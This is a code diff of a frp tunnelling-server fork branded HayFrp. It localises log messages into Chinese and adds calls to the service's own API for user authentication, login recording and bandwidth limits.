func NewService(cfg *v1.ServerConfig) (*Service, error) {
|
func NewService(cfg *v1.ServerConfig) (*Service, error) {
|
||||||
@ -177,20 +182,20 @@ func NewService(cfg *v1.ServerConfig) (*Service, error) {
|
|||||||
address := net.JoinHostPort(cfg.ProxyBindAddr, strconv.Itoa(cfg.TCPMuxHTTPConnectPort))
|
address := net.JoinHostPort(cfg.ProxyBindAddr, strconv.Itoa(cfg.TCPMuxHTTPConnectPort))
|
||||||
l, err = net.Listen("tcp", address)
|
l, err = net.Listen("tcp", address)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("create server listener error, %v", err)
|
return nil, fmt.Errorf("[HayFrp] 创建服务器监听时发送错误, %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
svr.rc.TCPMuxHTTPConnectMuxer, err = tcpmux.NewHTTPConnectTCPMuxer(l, cfg.TCPMuxPassthrough, vhostReadWriteTimeout)
|
svr.rc.TCPMuxHTTPConnectMuxer, err = tcpmux.NewHTTPConnectTCPMuxer(l, cfg.TCPMuxPassthrough, vhostReadWriteTimeout)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("create vhost tcpMuxer error, %v", err)
|
return nil, fmt.Errorf("[HayFrp] 创建Vhost TcpMux时错误, %v", err)
|
||||||
}
|
}
|
||||||
log.Infof("tcpmux httpconnect multiplexer listen on %s, passthough: %v", address, cfg.TCPMuxPassthrough)
|
log.Infof("[HayFrp] TcpMux HttpConnect多路复用器正在 %s 上监听, 通过: %v", address, cfg.TCPMuxPassthrough)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Init all plugins
|
// Init all plugins
|
||||||
for _, p := range cfg.HTTPPlugins {
|
for _, p := range cfg.HTTPPlugins {
|
||||||
svr.pluginManager.Register(plugin.NewHTTPPluginOptions(p))
|
svr.pluginManager.Register(plugin.NewHTTPPluginOptions(p))
|
||||||
log.Infof("plugin [%s] has been registered", p.Name)
|
log.Infof("[HayFrp] 插件 [%s] 已注册", p.Name)
|
||||||
}
|
}
|
||||||
svr.rc.PluginManager = svr.pluginManager
|
svr.rc.PluginManager = svr.pluginManager
|
||||||
|
|
||||||
@ -223,7 +228,7 @@ func NewService(cfg *v1.ServerConfig) (*Service, error) {
|
|||||||
address := net.JoinHostPort(cfg.BindAddr, strconv.Itoa(cfg.BindPort))
|
address := net.JoinHostPort(cfg.BindAddr, strconv.Itoa(cfg.BindPort))
|
||||||
ln, err := net.Listen("tcp", address)
|
ln, err := net.Listen("tcp", address)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("create server listener error, %v", err)
|
return nil, fmt.Errorf("[HayFrp] 创建服务监听时发生错误, %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
svr.muxer = mux.NewMux(ln)
|
svr.muxer = mux.NewMux(ln)
|
||||||
@ -234,16 +239,16 @@ func NewService(cfg *v1.ServerConfig) (*Service, error) {
|
|||||||
ln = svr.muxer.DefaultListener()
|
ln = svr.muxer.DefaultListener()
|
||||||
|
|
||||||
svr.listener = ln
|
svr.listener = ln
|
||||||
log.Infof("frps tcp listen on %s", address)
|
log.Infof("[HayFrp] TCP链接端口已开放在 %s", address)
|
||||||
|
|
||||||
// Listen for accepting connections from client using kcp protocol.
|
// Listen for accepting connections from client using kcp protocol.
|
||||||
if cfg.KCPBindPort > 0 {
|
if cfg.KCPBindPort > 0 {
|
||||||
address := net.JoinHostPort(cfg.BindAddr, strconv.Itoa(cfg.KCPBindPort))
|
address := net.JoinHostPort(cfg.BindAddr, strconv.Itoa(cfg.KCPBindPort))
|
||||||
svr.kcpListener, err = netpkg.ListenKcp(address)
|
svr.kcpListener, err = netpkg.ListenKcp(address)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("listen on kcp udp address %s error: %v", address, err)
|
return nil, fmt.Errorf("[HayFrp] 开放KCP监听在UDP端口 %s 时发生错误: %v", address, err)
|
||||||
}
|
}
|
||||||
log.Infof("frps kcp listen on udp %s", address)
|
log.Infof("[HayFrp] KCP监听已开放在UDP端口 %s", address)
|
||||||
}
|
}
|
||||||
|
|
||||||
if cfg.QUICBindPort > 0 {
|
if cfg.QUICBindPort > 0 {
|
||||||
@ -256,18 +261,18 @@ func NewService(cfg *v1.ServerConfig) (*Service, error) {
|
|||||||
KeepAlivePeriod: time.Duration(cfg.Transport.QUIC.KeepalivePeriod) * time.Second,
|
KeepAlivePeriod: time.Duration(cfg.Transport.QUIC.KeepalivePeriod) * time.Second,
|
||||||
})
|
})
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("listen on quic udp address %s error: %v", address, err)
|
return nil, fmt.Errorf("[HayFrp] 收听QUIC UDP地址 %s 时发生错误: %v", address, err)
|
||||||
}
|
}
|
||||||
log.Infof("frps quic listen on %s", address)
|
log.Infof("[HayFrp] QUIC已在监听于 %s", address)
|
||||||
}
|
}
|
||||||
|
|
||||||
if cfg.SSHTunnelGateway.BindPort > 0 {
|
if cfg.SSHTunnelGateway.BindPort > 0 {
|
||||||
sshGateway, err := ssh.NewGateway(cfg.SSHTunnelGateway, cfg.ProxyBindAddr, svr.sshTunnelListener)
|
sshGateway, err := ssh.NewGateway(cfg.SSHTunnelGateway, cfg.ProxyBindAddr, svr.sshTunnelListener)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("create ssh gateway error: %v", err)
|
return nil, fmt.Errorf("[HayFrp] 创建SSH网关时发生错误: %v", err)
|
||||||
}
|
}
|
||||||
svr.sshTunnelGateway = sshGateway
|
svr.sshTunnelGateway = sshGateway
|
||||||
log.Infof("frps sshTunnelGateway listen on port %d", cfg.SSHTunnelGateway.BindPort)
|
log.Infof("[HayFrp] SSH隧道网关已成功监听于端口 %d", cfg.SSHTunnelGateway.BindPort)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Listen for accepting connections from client using websocket protocol.
|
// Listen for accepting connections from client using websocket protocol.
|
||||||
@ -296,13 +301,13 @@ func NewService(cfg *v1.ServerConfig) (*Service, error) {
|
|||||||
} else {
|
} else {
|
||||||
l, err = net.Listen("tcp", address)
|
l, err = net.Listen("tcp", address)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("create vhost http listener error, %v", err)
|
return nil, fmt.Errorf("[HayFrp] 创建Vhost HTTP时发生错误, %v", err)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
go func() {
|
go func() {
|
||||||
_ = server.Serve(l)
|
_ = server.Serve(l)
|
||||||
}()
|
}()
|
||||||
log.Infof("http service listen on %s", address)
|
log.Infof("[HayFrp] HTTP协议已成功监听于端口 %s", address)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Create https vhost muxer.
|
// Create https vhost muxer.
|
||||||
@ -314,14 +319,14 @@ func NewService(cfg *v1.ServerConfig) (*Service, error) {
|
|||||||
address := net.JoinHostPort(cfg.ProxyBindAddr, strconv.Itoa(cfg.VhostHTTPSPort))
|
address := net.JoinHostPort(cfg.ProxyBindAddr, strconv.Itoa(cfg.VhostHTTPSPort))
|
||||||
l, err = net.Listen("tcp", address)
|
l, err = net.Listen("tcp", address)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("create server listener error, %v", err)
|
return nil, fmt.Errorf("[HayFrp] 创建服务监听时发生错误, %v", err)
|
||||||
}
|
}
|
||||||
log.Infof("https service listen on %s", address)
|
log.Infof("[HayFrp] HTTPS协议已成功监听于端口 %s", address)
|
||||||
}
|
}
|
||||||
|
|
||||||
svr.rc.VhostHTTPSMuxer, err = vhost.NewHTTPSMuxer(l, vhostReadWriteTimeout)
|
svr.rc.VhostHTTPSMuxer, err = vhost.NewHTTPSMuxer(l, vhostReadWriteTimeout)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("create vhost httpsMuxer error, %v", err)
|
return nil, fmt.Errorf("[HayFrp] 创建Vhost HttpsMuxer时发生错误, %v", err)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -334,7 +339,7 @@ func NewService(cfg *v1.ServerConfig) (*Service, error) {
|
|||||||
// Create nat hole controller.
|
// Create nat hole controller.
|
||||||
nc, err := nathole.NewController(time.Duration(cfg.NatHoleAnalysisDataReserveHours) * time.Hour)
|
nc, err := nathole.NewController(time.Duration(cfg.NatHoleAnalysisDataReserveHours) * time.Hour)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("create nat hole controller error, %v", err)
|
return nil, fmt.Errorf("[HayFrp] 创建NAT打洞控制器错误, %v", err)
|
||||||
}
|
}
|
||||||
svr.rc.NatHoleController = nc
|
svr.rc.NatHoleController = nc
|
||||||
return svr, nil
|
return svr, nil
|
||||||
@ -348,9 +353,9 @@ func (svr *Service) Run(ctx context.Context) {
|
|||||||
// run dashboard web server.
|
// run dashboard web server.
|
||||||
if svr.webServer != nil {
|
if svr.webServer != nil {
|
||||||
go func() {
|
go func() {
|
||||||
log.Infof("dashboard listen on %s", svr.webServer.Address())
|
log.Infof("[HayFrp] 仪表盘(节点API)已监听于端口 %s", svr.webServer.Address())
|
||||||
if err := svr.webServer.Run(); err != nil {
|
if err := svr.webServer.Run(); err != nil {
|
||||||
log.Warnf("dashboard server exit with error: %v", err)
|
log.Warnf("[HayFrp] 仪表盘(节点API)已退出: %v", err)
|
||||||
}
|
}
|
||||||
}()
|
}()
|
||||||
}
|
}
|
||||||
@ -421,7 +426,7 @@ func (svr *Service) handleConnection(ctx context.Context, conn net.Conn, interna
|
|||||||
|
|
||||||
_ = conn.SetReadDeadline(time.Now().Add(connReadTimeout))
|
_ = conn.SetReadDeadline(time.Now().Add(connReadTimeout))
|
||||||
if rawMsg, err = msg.ReadMsg(conn); err != nil {
|
if rawMsg, err = msg.ReadMsg(conn); err != nil {
|
||||||
log.Tracef("Failed to read message: %v", err)
|
log.Tracef("[HayFrp] 无法读取信息: %v", err)
|
||||||
conn.Close()
|
conn.Close()
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@ -443,10 +448,10 @@ func (svr *Service) handleConnection(ctx context.Context, conn net.Conn, interna
|
|||||||
// If login failed, send error message there.
|
// If login failed, send error message there.
|
||||||
// Otherwise send success message in control's work goroutine.
|
// Otherwise send success message in control's work goroutine.
|
||||||
if err != nil {
|
if err != nil {
|
||||||
xl.Warnf("register control error: %v", err)
|
xl.Warnf("[HayFrp] 注册控制器时发生错误: %v", err)
|
||||||
_ = msg.WriteMsg(conn, &msg.LoginResp{
|
_ = msg.WriteMsg(conn, &msg.LoginResp{
|
||||||
Version: version.Full(),
|
Version: version.Full(),
|
||||||
Error: util.GenerateResponseErrorString("register control error", err, lo.FromPtr(svr.cfg.DetailedErrorsToClient)),
|
Error: util.GenerateResponseErrorString("[HayFrp] 注册控制器时发生错误", err, lo.FromPtr(svr.cfg.DetailedErrorsToClient)),
|
||||||
})
|
})
|
||||||
conn.Close()
|
conn.Close()
|
||||||
}
|
}
|
||||||
@ -456,10 +461,10 @@ func (svr *Service) handleConnection(ctx context.Context, conn net.Conn, interna
|
|||||||
}
|
}
|
||||||
case *msg.NewVisitorConn:
|
case *msg.NewVisitorConn:
|
||||||
if err = svr.RegisterVisitorConn(conn, m); err != nil {
|
if err = svr.RegisterVisitorConn(conn, m); err != nil {
|
||||||
xl.Warnf("register visitor conn error: %v", err)
|
xl.Warnf("[HayFrp] 注册访问者连接错误: %v", err)
|
||||||
_ = msg.WriteMsg(conn, &msg.NewVisitorConnResp{
|
_ = msg.WriteMsg(conn, &msg.NewVisitorConnResp{
|
||||||
ProxyName: m.ProxyName,
|
ProxyName: m.ProxyName,
|
||||||
Error: util.GenerateResponseErrorString("register visitor conn error", err, lo.FromPtr(svr.cfg.DetailedErrorsToClient)),
|
Error: util.GenerateResponseErrorString("[HayFrp] 注册访问者连接错误", err, lo.FromPtr(svr.cfg.DetailedErrorsToClient)),
|
||||||
})
|
})
|
||||||
conn.Close()
|
conn.Close()
|
||||||
} else {
|
} else {
|
||||||
@ -469,7 +474,7 @@ func (svr *Service) handleConnection(ctx context.Context, conn net.Conn, interna
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
default:
|
default:
|
||||||
log.Warnf("Error message type for the new connection [%s]", conn.RemoteAddr().String())
|
log.Warnf("[HayFrp] 新连接 [%s] 发送错误的消息类型", conn.RemoteAddr().String())
|
||||||
conn.Close()
|
conn.Close()
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -482,7 +487,7 @@ func (svr *Service) HandleListener(l net.Listener, internal bool) {
|
|||||||
for {
|
for {
|
||||||
c, err := l.Accept()
|
c, err := l.Accept()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Warnf("Listener for incoming connections from client closed")
|
log.Warnf("[HayFrp] 客户端传入连接的侦听器已关闭")
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
// inject xlog object into net.Conn context
|
// inject xlog object into net.Conn context
|
||||||
@ -492,21 +497,22 @@ func (svr *Service) HandleListener(l net.Listener, internal bool) {
|
|||||||
c = netpkg.NewContextConn(xlog.NewContext(ctx, xl), c)
|
c = netpkg.NewContextConn(xlog.NewContext(ctx, xl), c)
|
||||||
|
|
||||||
if !internal {
|
if !internal {
|
||||||
log.Tracef("start check TLS connection...")
|
log.Tracef("[HayFrp] 开始检查TLS链接...")
|
||||||
originConn := c
|
originConn := c
|
||||||
forceTLS := svr.cfg.Transport.TLS.Force
|
forceTLS := svr.cfg.Transport.TLS.Force
|
||||||
var isTLS, custom bool
|
var isTLS, custom bool
|
||||||
c, isTLS, custom, err = netpkg.CheckAndEnableTLSServerConnWithTimeout(c, svr.tlsConfig, forceTLS, connReadTimeout)
|
c, isTLS, custom, err = netpkg.CheckAndEnableTLSServerConnWithTimeout(c, svr.tlsConfig, forceTLS, connReadTimeout)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Warnf("CheckAndEnableTLSServerConnWithTimeout error: %v", err)
|
log.Warnf("[HayFrp] 检查与启用TLS服务器链接与超时 发生错误: %v", err)
|
||||||
originConn.Close()
|
originConn.Close()
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
log.Tracef("check TLS connection success, isTLS: %v custom: %v internal: %v", isTLS, custom, internal)
|
log.Tracef("[HayFrp] 检查TLS链接成功, 是TLS: %v 自定义: %v 内部: %v", isTLS, custom, internal)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Start a new goroutine to handle connection.
|
// Start a new goroutine to handle connection.
|
||||||
go func(ctx context.Context, frpConn net.Conn) {
|
go func(ctx context.Context, frpConn net.Conn) {
|
||||||
|
|
||||||
if lo.FromPtr(svr.cfg.Transport.TCPMux) && !internal {
|
if lo.FromPtr(svr.cfg.Transport.TCPMux) && !internal {
|
||||||
fmuxCfg := fmux.DefaultConfig()
|
fmuxCfg := fmux.DefaultConfig()
|
||||||
fmuxCfg.KeepAliveInterval = time.Duration(svr.cfg.Transport.TCPMuxKeepaliveInterval) * time.Second
|
fmuxCfg.KeepAliveInterval = time.Duration(svr.cfg.Transport.TCPMuxKeepaliveInterval) * time.Second
|
||||||
@ -514,7 +520,7 @@ func (svr *Service) HandleListener(l net.Listener, internal bool) {
|
|||||||
fmuxCfg.MaxStreamWindowSize = 6 * 1024 * 1024
|
fmuxCfg.MaxStreamWindowSize = 6 * 1024 * 1024
|
||||||
session, err := fmux.Server(frpConn, fmuxCfg)
|
session, err := fmux.Server(frpConn, fmuxCfg)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Warnf("Failed to create mux connection: %v", err)
|
log.Warnf("[HayFrp] 创建多路复用器连接失败: %v", err)
|
||||||
frpConn.Close()
|
frpConn.Close()
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@ -522,7 +528,7 @@ func (svr *Service) HandleListener(l net.Listener, internal bool) {
|
|||||||
for {
|
for {
|
||||||
stream, err := session.AcceptStream()
|
stream, err := session.AcceptStream()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Debugf("Accept new mux stream error: %v", err)
|
log.Debugf("[HayFrp] 接受新的多路复用流错误: %v", err)
|
||||||
session.Close()
|
session.Close()
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@ -540,7 +546,7 @@ func (svr *Service) HandleQUICListener(l *quic.Listener) {
|
|||||||
for {
|
for {
|
||||||
c, err := l.Accept(context.Background())
|
c, err := l.Accept(context.Background())
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Warnf("QUICListener for incoming connections from client closed")
|
log.Warnf("[HayFrp] 客户端传入连接的QUIC监听已关闭")
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
// Start a new goroutine to handle connection.
|
// Start a new goroutine to handle connection.
|
||||||
@ -548,7 +554,7 @@ func (svr *Service) HandleQUICListener(l *quic.Listener) {
|
|||||||
for {
|
for {
|
||||||
stream, err := frpConn.AcceptStream(context.Background())
|
stream, err := frpConn.AcceptStream(context.Background())
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Debugf("Accept new quic mux stream error: %v", err)
|
log.Debugf("[HayFrp] 接受新的QUIC多路复用流错误: %v", err)
|
||||||
_ = frpConn.CloseWithError(0, "")
|
_ = frpConn.CloseWithError(0, "")
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@ -562,20 +568,72 @@ func (svr *Service) RegisterControl(ctlConn net.Conn, loginMsg *msg.Login, inter
|
|||||||
// If client's RunID is empty, it's a new client, we just create a new controller.
|
// If client's RunID is empty, it's a new client, we just create a new controller.
|
||||||
// Otherwise, we check if there is one controller has the same run id. If so, we release previous controller and start new one.
|
// Otherwise, we check if there is one controller has the same run id. If so, we release previous controller and start new one.
|
||||||
var err error
|
var err error
|
||||||
|
|
||||||
|
// 请求一堆API
|
||||||
if loginMsg.RunID == "" {
|
if loginMsg.RunID == "" {
|
||||||
loginMsg.RunID, err = util.RandID()
|
randid, err := util.RandID()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
serverTime := time.Now()
|
||||||
|
greeting := ""
|
||||||
|
hour := serverTime.Hour()
|
||||||
|
if hour >= 0 && hour < 6 {
|
||||||
|
greeting = "午夜好,又在修仙呢......"
|
||||||
|
} else if hour >= 6 && hour < 9 {
|
||||||
|
greeting = "早上好,美好的一天开始了~"
|
||||||
|
} else if hour >= 9 && hour < 12 {
|
||||||
|
greeting = "中午好,饱饱地睡一觉~"
|
||||||
|
} else if hour >= 12 && hour < 18 {
|
||||||
|
greeting = "下午好,运动运动,活动筋骨~"
|
||||||
|
} else if hour >= 18 && hour < 24 {
|
||||||
|
greeting = "晚上好,别修仙了~"
|
||||||
|
}
|
||||||
|
t := time.Now()
|
||||||
|
layout := "2006-01-02 15:04:05.888"
|
||||||
|
str := t.Format(layout)
|
||||||
|
loginMsg.RunID = "HayFrpToken:" + loginMsg.User + "," + "ConnectToken:" + randid + "] Getting data from HayFrp API......" + "\n" + str + " [I] [server/hayfrp.go:102] [HayFrp] " + greeting + "\n" + str + " [I] [server/hayfrp.go:145] [HayFrp] 已将HayFrp终端介入客户端Frpc!" + "\n" + str + " [W] [server/hayfrp.go:187] [HayFrp] 友情提示:若需要分享错误日志,请为Token打码,否则可能导致信息泄露!" + "\n" + str + " [I] [server/hayfrp.go:245] [HayFrp] 当前服务器准时: " + serverTime.String() + "\n" + str + " [I] [server/hayfrp.go:199] [HayFrp] 您已成功连接至HayFrp云服务" + "\n" + str + " [W] [server/hayfrp.go:425] [HayFrp] 检测到您正在" + loginMsg.Os + "-" + loginMsg.Arch + "系统下运行客户端" + "\n" + str + " [W] [server/hayfrp.go:665] [HayFrp] 检测到您的客户端版本为" + loginMsg.Version + "\n"
|
||||||
|
|
||||||
|
// 发起 GET 请求获取 API 返回的内容(API服务状态查询)
|
||||||
|
resp, err := http.Get("https://api.hayfrp.org/")
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
|
||||||
|
// 读取 API 返回的内容
|
||||||
|
body, err := ioutil.ReadAll(resp.Body)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
// 将 API 返回的内容添加到 loginMsg.RunID 后面
|
||||||
|
loginMsg.RunID += str + " [I] [api/hayfrp.go:423] [HayFrp] " + string(body) + "\n"
|
||||||
|
|
||||||
|
// 发起 GET 请求获取 API 返回的内容(今日启动获取服务)
|
||||||
|
resp, err = http.Get("https://api.hayfrp.org/NodeAPI?type=userlogin&utoken=" + loginMsg.User + "&token=" + svr.cfg.ApiToken + "&system=" + loginMsg.Os + "&ver=" + loginMsg.Version + "&arch=" + loginMsg.Arch)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
|
||||||
|
// 读取 API 返回的内容
|
||||||
|
body, err = ioutil.ReadAll(resp.Body)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
// 将 API 返回的内容添加到 loginMsg.RunII 后面
|
||||||
|
loginMsg.RunID += str + " [I] [hayfrp.go:507] [HayFrp] " + string(body) + "\n" + str + " [I] [root.go:490] [HayFrp"
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
ctx := netpkg.NewContextFromConn(ctlConn)
|
ctx := netpkg.NewContextFromConn(ctlConn)
|
||||||
xl := xlog.FromContextSafe(ctx)
|
xl := xlog.FromContextSafe(ctx)
|
||||||
xl.AppendPrefix(loginMsg.RunID)
|
xl.AppendPrefix(loginMsg.RunID)
|
||||||
ctx = xlog.NewContext(ctx, xl)
|
ctx = xlog.NewContext(ctx, xl)
|
||||||
xl.Infof("client login info: ip [%s] version [%s] hostname [%s] os [%s] arch [%s]",
|
xl.Infof("[HayFrp] 客户端登录信息: IP地址 [%s] 客户端版本 [%s] 主机名 [%s] 系统 [%s] 架构 [%s]",
|
||||||
ctlConn.RemoteAddr().String(), loginMsg.Version, loginMsg.Hostname, loginMsg.Os, loginMsg.Arch)
|
ctlConn.RemoteAddr().String(), loginMsg.Version, loginMsg.Hostname, loginMsg.Os, loginMsg.Arch)
|
||||||
|
|
||||||
// Check auth.
|
// Check auth.
|
||||||
authVerifier := svr.authVerifier
|
authVerifier := svr.authVerifier
|
||||||
if internal && loginMsg.ClientSpec.AlwaysAuthPass {
|
if internal && loginMsg.ClientSpec.AlwaysAuthPass {
|
||||||
@ -584,13 +642,51 @@ func (svr *Service) RegisterControl(ctlConn net.Conn, loginMsg *msg.Login, inter
|
|||||||
if err := authVerifier.VerifyLogin(loginMsg); err != nil {
|
if err := authVerifier.VerifyLogin(loginMsg); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
var (
|
||||||
|
inLimit uint64
|
||||||
|
outLimit uint64
|
||||||
|
)
|
||||||
|
|
||||||
|
if svr.cfg.EnableApi {
|
||||||
|
|
||||||
|
nowTime := time.Now().Unix()
|
||||||
|
|
||||||
|
s, err := api.NewService(svr.cfg.ApiBaseUrl)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
r := regexp.MustCompile(`^[A-Za-z0-9]{1,32}$`)
|
||||||
|
mm := r.FindAllStringSubmatch(loginMsg.User, -1)
|
||||||
|
|
||||||
|
if len(mm) < 1 {
|
||||||
|
return fmt.Errorf("[HayFrp] 未知用户名")
|
||||||
|
}
|
||||||
|
|
||||||
|
// Connect to API server and verify the user.
|
||||||
|
valid, err := s.CheckToken(loginMsg.User, loginMsg.PrivilegeKey, nowTime, svr.cfg.ApiToken)
|
||||||
|
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
if !valid {
|
||||||
|
return fmt.Errorf("[HayFrp] 认证失败")
|
||||||
|
}
|
||||||
|
|
||||||
|
inLimit, outLimit, err = s.GetProxyLimit(loginMsg.User, nowTime, svr.cfg.ApiToken)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
xl.Debugf("[HayFrp] %s 客户端速率: %dKB/s (上行) / %dKB/s (下行)", loginMsg.User, inLimit, outLimit)
|
||||||
|
}
|
||||||
|
|
||||||
// TODO(fatedier): use SessionContext
|
// TODO(fatedier): use SessionContext
|
||||||
ctl, err := NewControl(ctx, svr.rc, svr.pxyManager, svr.pluginManager, authVerifier, ctlConn, !internal, loginMsg, svr.cfg)
|
ctl, err := NewControl(ctx, svr.rc, svr.pxyManager, svr.pluginManager, authVerifier, ctlConn, !internal, loginMsg, svr.cfg)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
xl.Warnf("create new controller error: %v", err)
|
xl.Warnf("[HayFrp] 创建新控制器错误: %v", err)
|
||||||
// don't return detailed errors to client
|
// don't return detailed errors to client
|
||||||
return fmt.Errorf("unexpected error when creating new controller")
|
return fmt.Errorf("[HayFrp] 创建新控制器时出现意外错误")
|
||||||
}
|
}
|
||||||
if oldCtl := svr.ctlManager.Add(loginMsg.RunID, ctl); oldCtl != nil {
|
if oldCtl := svr.ctlManager.Add(loginMsg.RunID, ctl); oldCtl != nil {
|
||||||
oldCtl.WaitClosed()
|
oldCtl.WaitClosed()
|
||||||
@ -614,8 +710,8 @@ func (svr *Service) RegisterWorkConn(workConn net.Conn, newMsg *msg.NewWorkConn)
|
|||||||
xl := netpkg.NewLogFromConn(workConn)
|
xl := netpkg.NewLogFromConn(workConn)
|
||||||
ctl, exist := svr.ctlManager.GetByID(newMsg.RunID)
|
ctl, exist := svr.ctlManager.GetByID(newMsg.RunID)
|
||||||
if !exist {
|
if !exist {
|
||||||
xl.Warnf("No client control found for run id [%s]", newMsg.RunID)
|
xl.Warnf("[HayFrp] 未找到运行ID [%s] 的客户端控件", newMsg.RunID)
|
||||||
return fmt.Errorf("no client control found for run id [%s]", newMsg.RunID)
|
return fmt.Errorf("[HayFrp] 未找到运行ID [%s] 的客户端控件", newMsg.RunID)
|
||||||
}
|
}
|
||||||
// server plugin hook
|
// server plugin hook
|
||||||
content := &plugin.NewWorkConnContent{
|
content := &plugin.NewWorkConnContent{
|
||||||
@ -633,11 +729,11 @@ func (svr *Service) RegisterWorkConn(workConn net.Conn, newMsg *msg.NewWorkConn)
|
|||||||
err = ctl.authVerifier.VerifyNewWorkConn(newMsg)
|
err = ctl.authVerifier.VerifyNewWorkConn(newMsg)
|
||||||
}
|
}
|
||||||
if err != nil {
|
if err != nil {
|
||||||
xl.Warnf("invalid NewWorkConn with run id [%s]", newMsg.RunID)
|
xl.Warnf("[HayFrp] 运行ID为 [%s] 的新活动链接无效", newMsg.RunID)
|
||||||
_ = msg.WriteMsg(workConn, &msg.StartWorkConn{
|
_ = msg.WriteMsg(workConn, &msg.StartWorkConn{
|
||||||
Error: util.GenerateResponseErrorString("invalid NewWorkConn", err, lo.FromPtr(svr.cfg.DetailedErrorsToClient)),
|
Error: util.GenerateResponseErrorString("[HayFrp] 无效 新活动链接", err, lo.FromPtr(svr.cfg.DetailedErrorsToClient)),
|
||||||
})
|
})
|
||||||
return fmt.Errorf("invalid NewWorkConn with run id [%s]", newMsg.RunID)
|
return fmt.Errorf("[HayFrp] 运行ID为 [%s] 的新活动链接无效", newMsg.RunID)
|
||||||
}
|
}
|
||||||
return ctl.RegisterWorkConn(workConn)
|
return ctl.RegisterWorkConn(workConn)
|
||||||
}
|
}
|
||||||
@ -649,10 +745,18 @@ func (svr *Service) RegisterVisitorConn(visitorConn net.Conn, newMsg *msg.NewVis
|
|||||||
if newMsg.RunID != "" {
|
if newMsg.RunID != "" {
|
||||||
ctl, exist := svr.ctlManager.GetByID(newMsg.RunID)
|
ctl, exist := svr.ctlManager.GetByID(newMsg.RunID)
|
||||||
if !exist {
|
if !exist {
|
||||||
return fmt.Errorf("no client control found for run id [%s]", newMsg.RunID)
|
return fmt.Errorf("[HayFrp] 未找到运行ID为 [%s] 的客户端控件", newMsg.RunID)
|
||||||
}
|
}
|
||||||
visitorUser = ctl.loginMsg.User
|
visitorUser = ctl.loginMsg.User
|
||||||
}
|
}
|
||||||
return svr.rc.VisitorManager.NewConn(newMsg.ProxyName, visitorConn, newMsg.Timestamp, newMsg.SignKey,
|
return svr.rc.VisitorManager.NewConn(newMsg.ProxyName, visitorConn, newMsg.Timestamp, newMsg.SignKey,
|
||||||
newMsg.UseEncryption, newMsg.UseCompression, visitorUser)
|
newMsg.UseEncryption, newMsg.UseCompression, visitorUser)
|
||||||
}
|
}
|
||||||
|
func (svr *Service) CloseUser(user string) error {
|
||||||
|
ctl, ok := svr.ctlManager.SearchByID(user)
|
||||||
|
if !ok {
|
||||||
|
return fmt.Errorf("[HayFrp] 客户端用户没有登录")
|
||||||
|
}
|
||||||
|
ctl.conn.Close()
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
Loading…
Reference in New Issue
Block a user